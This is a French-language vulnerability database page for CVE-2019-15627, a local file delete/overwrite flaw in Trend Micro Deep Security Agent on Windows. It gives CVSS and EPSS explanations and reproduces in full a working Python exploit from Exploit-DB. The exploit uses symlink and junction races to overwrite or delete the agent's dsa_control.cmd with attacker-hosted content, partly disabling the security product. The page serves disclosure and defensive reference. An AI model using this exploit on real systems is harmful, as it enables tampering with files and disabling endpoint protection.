CVE-2019-15627 : Détail

CVE-2019-15627

7.1
/
Haute
A01-Broken Access Control
0.07%V3
Local
2019-10-17
17h09 +00:00
2019-12-06
16h06 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Versions 10.0, 11.0 and 12.0 of the Trend Micro Deep Security Agent are vulnerable to an arbitrary file delete attack, which may lead to availability impact. Local OS access is required. Please note that only Windows agents are affected.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-59 Improper Link Resolution Before File Access ('Link Following')
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 7.1 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 6.6 AV:L/AC:L/Au:N/C:N/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 47751

Date de publication : 2019-12-05 23h00 +00:00
Auteur : Peter Lapp
EDB Vérifié : Yes

# Exploit Title: Trend Micro Deep Security Agent 11 - Arbitrary File Overwrite # Exploit Author : Peter Lapp # Exploit Date: 2019-12-05 # Vendor Homepage : https://www.trendmicro.com/en_us/business.html # Link Software : https://help.deepsecurity.trendmicro.com/software.html?regs=NABU&prodid=1716 # Tested on OS: v11.0.582 and v10.0.3186 on Windows Server 2012 R2, 2008R2, and 7 Enterprise. # CVE: 2019-15627 # CVE-2019-15627 - Trend Micro Deep Security Agent Local File Overwrite Exploit by Peter Lapp (lappsec) # This script uses the symboliclink-testing-tools project, written by James Forshaw ( https://github.com/googleprojectzero/symboliclink-testing-tools ) # The vulnerability allows an unprivileged local attacker to delete any file on the filesystem, or overwrite it with abritrary data hosted elsewhere (with limitations) # This particular script will attempt to overwrite the file dsa_control.cmd with arbitrary data hosted on an external web server, partly disabling TMDS, # even when agent self-protection is turned on. It can also be modified/simplified to simply delete the target file, if desired. # When TMDS examines javascript it writes snippets of it to a temporary file, which is locked and then deleted almost immediately. # The names of the temp files are sometimes reused, which allows us to predict the filename and redirect to another file. # While examining the JS, it generally strips off the first 4096 bytes or so, replaces those with spaces, converts the rest to lowercase and writes it to the temp file. # So the attacker can host a "malicious" page that starts with the normal html and script tags, then fill the rest of the ~4096 bytes with garbage, # then the payload to be written, then a few hundred trailing spaces (not sure why, but they are needed). The resulting temp file will start with 4096 spaces, # and then the lowercase payload. Obviously this has some limitations, like not being able to write binaries, but there are plenty of config files that # are ripe for the writing that can then point to a malicious binary. # Usage: # 1. First you'd need to host your malicious file somewhere. If you just want to delete the target file or overwrite it with garbage, skip this part. # 2. Open a browser (preferrably IE) and start the script # 3. Browse to your malicious page (if just deleting the target file, browse to any page with javascript). # 4. Keep refreshing the page until you see the script create the target file overwritten. # # It's a pretty dumb/simple script and won't work every time, so if it doesn't work just run it again. Or write a more reliable exploit. import time import os import subprocess import sys import webbrowser from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler class Stage1_Handler(FileSystemEventHandler): def __init__(self): self.filenames = [] def on_created(self, event): filename = os.path.basename(event.src_path) if filename in self.filenames: print ('Starting symlink creation.') watcher1.stop() symlinkery(self.filenames) else: self.filenames.append(filename) print ('File %s created.') % filename class Stage2_Handler(FileSystemEventHandler): def on_any_event(self, event): if os.path.basename(event.src_path) == 'dsa_control.cmd': print "Target file overwritten/deleted. Cleaning up." subprocess.Popen("taskkill /F /T /IM CreateSymlink.exe", shell=True) subprocess.Popen("taskkill /F /T /IM Baitandswitch.exe", shell=True) os.system('rmdir /S /Q "C:\\ProgramData\\Trend Micro\\AMSP\\temp\\"') os.system('rmdir /S /Q "C:\\test"') os.rename('C:\\ProgramData\\Trend Micro\\AMSP\\temp-orig','C:\\ProgramData\\Trend Micro\\AMSP\\temp') watcher2.stop() sys.exit(0) class Watcher(object): def __init__(self, event_handler, path_to_watch): self.event_handler = event_handler self.path_to_watch = path_to_watch self.observer = Observer() def run(self): self.observer.schedule(self.event_handler(), self.path_to_watch) self.observer.start() try: while True: time.sleep(1) except KeyboardInterrupt: self.observer.stop() self.observer.join() def stop(self): self.observer.stop() def symlinkery(filenames): print "Enter symlinkery" for filename in filenames: print "Creating symlink for %s" % filename cmdname = "start cmd /c CreateSymlink.exe \"C:\\test\\virus\\%s\" \"C:\\test\\test\\symtarget\"" % filename subprocess.Popen(cmdname, shell=True) os.rename('C:\\ProgramData\\Trend Micro\\AMSP\\temp','C:\\ProgramData\\Trend Micro\\AMSP\\temp-orig') os.system('mklink /J "C:\\ProgramData\\Trend Micro\\AMSP\\temp" C:\\test') watcher2.run() print "Watcher 2 started" try: os.mkdir('C:\\test') except: pass path1 = 'C:\\ProgramData\\Trend Micro\\AMSP\\temp\\virus' path2 = 'C:\\Program Files\\Trend Micro\\Deep Security Agent\\' watcher1 = Watcher(Stage1_Handler,path1) watcher2 = Watcher(Stage2_Handler,path2) switcheroo = "start cmd /c BaitAndSwitch.exe C:\\test\\test\\symtarget \"C:\\Program Files\\Trend Micro\\Deep Security Agent\\dsa_control.cmd\" \"C:\\windows\\temp\\deleteme.txt\" d" subprocess.Popen(switcheroo, shell=True) watcher1.run()

Products Mentioned

Configuraton 0

Trendmicro>>Deep_security >> Version 10.0

Trendmicro>>Deep_security >> Version 11.0

Trendmicro>>Deep_security >> Version 12.0

Microsoft>>Windows >> Version -

Références